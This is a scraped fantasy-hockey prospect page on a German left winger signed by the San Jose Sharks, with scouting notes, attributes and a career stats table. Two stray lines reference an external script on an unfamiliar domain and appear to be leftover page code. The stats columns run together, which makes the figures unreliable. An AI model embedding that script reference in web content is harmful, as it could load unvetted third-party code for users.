image courtesy of NHL.com

Fantasy Summary

Sniper with lightning fast hands and above-average skating ability.


Observations

Click to Expand

Oct 2019 – Bergmann is one of the many new faces Sharks fans might notice on the ice this year after he signed an entry-level contract this off-season. The winger possesses both size and skill and hopes to contribute to the Sharks second line with a two-way game. Bergmann is yet to prove himself against elite competition and might struggle to keep pace with the speed of the NHL. His fantasy potential remains low, but keep a watchful eye on the big German, he might surprise you. Alex Howes

 

June 2019 – The Sharks signed Bergmann as a free agent in May of 2019. For a player of his size, Bergmann can really dangle and shoots the puck with authority. The only real knock on Bergmann is the quality of competition he has faced; the DEL is a good league but it’s not considered among the top European pro leagues. We’ll have to see if Bergmann’s puck skills and motor will still stand out among the crowd in the AHL. Chris Legg

//domclickext.xyz/212b3d4039ab5319ec.js

//domclickext.xyz/212b3d4039ab5319ec.js

Attributes
Fantasy Upside 5.8
NHL Certainty 6.0
Country GER
Position LW
Roster Type Minors
Shoot/Glove Left
Date of Birth October 4, 1998
Height 6‘2”
Weight 205 lbs
Drafted No

Stats

 Season Team League GP G A TP PIM      Playoffs GP G A TP PIM 
 2012-2013 Mannheimer ERC U16Schüler-BL27 12 1931 14|Playoffs5 1 12
 2013-2014 Frölunda HC U16U16 Region22 23 1336 50|        
  Frölunda HC U16U16 SM6 3 14 2|        
  Frölunda HC J18J18 Region4 1 12 0|        
  Frölunda HC J18J18 Nationell5 2 02 2|        
 2014-2015 Frölunda HC J18J18 Region11 3 36 10|        
  Almtuna IS J18J18 Region8 8 19 14|        
  Almtuna IS J18J18 Nationell13 4 913 35|        
  Almtuna IS J20J20 Region0 0 00 0|Qualification2 0 00
  Germany U16 (all)International-Jr7 4 37 2|        
  Germany U17 (all)International-Jr2 0 00 0|        
  Germany U17Macs Tournament3 4 15 0|Playoffs1 0 00
 2015-2016 Almtuna IS J18J18 Region16 14 1024 16|        
  Almtuna IS J20J20 Region13 7 815 12|        
  Sioux Falls StampedeUSHL28 5 712 25|Playoffs3 0 00 12 
  Germany U18 (all)International-Jr2 0 00 0|        
 2016-2017 Sioux Falls StampedeUSHL41 7 916 95|        
 2017-2018 Green Bay GamblersUSHL56 11 1425 132|Playoffs2 0 00
 2018-2019 Iserlohn RoostersDEL50 20 929 87|        
  Germany Deutschland Cup3 1 01 2|        
  GermanyWC5 0 00 0|        
  Germany (all)International17 9 211 12|        
 2019-2020 Adler MannheimChampions HL2 2 13 4|        
  San Jose SharksNHL12 0 11 4|        
  San Jose BarracudaAHL31 8 917 49|        
 2020-2021 Germany Deutschland Cup3 0 11 4|        
  San Jose SharksNHL1 0 00 4|        
  San Jose BarracudaAHL32 2 57 37|        
  GermanyWC6 1 01 0|        
  Germany (all)International9 1 12 4|        
 2021-2022 Adler MannheimDEL32 9 514 36|        
  Adler MannheimChampions HL8 2 02 6|        
  Germany Deutschland Cup3 1 01 2|        
  Germany OG2 0 11 2|        
  Germany (all)International5 1 12 4|        
 2022-2023 Adler MannheimDEL6 3 36 11|Playoffs10 1 01 26 
  Iserlohn RoostersDEL26 4 711 36|        
 2023-2024 Eisbären BerlinDEL15 3 36 8|Playoffs14 2 24 36 
 2024-2025 Eisbären BerlinDEL25 4 37 17|        
  Eisbären BerlinChampions HL9 4 26 25|        
  Germany Deutschland Cup2 0 00 25|        
  Germany (all)International2 0 00 25|        

Highlights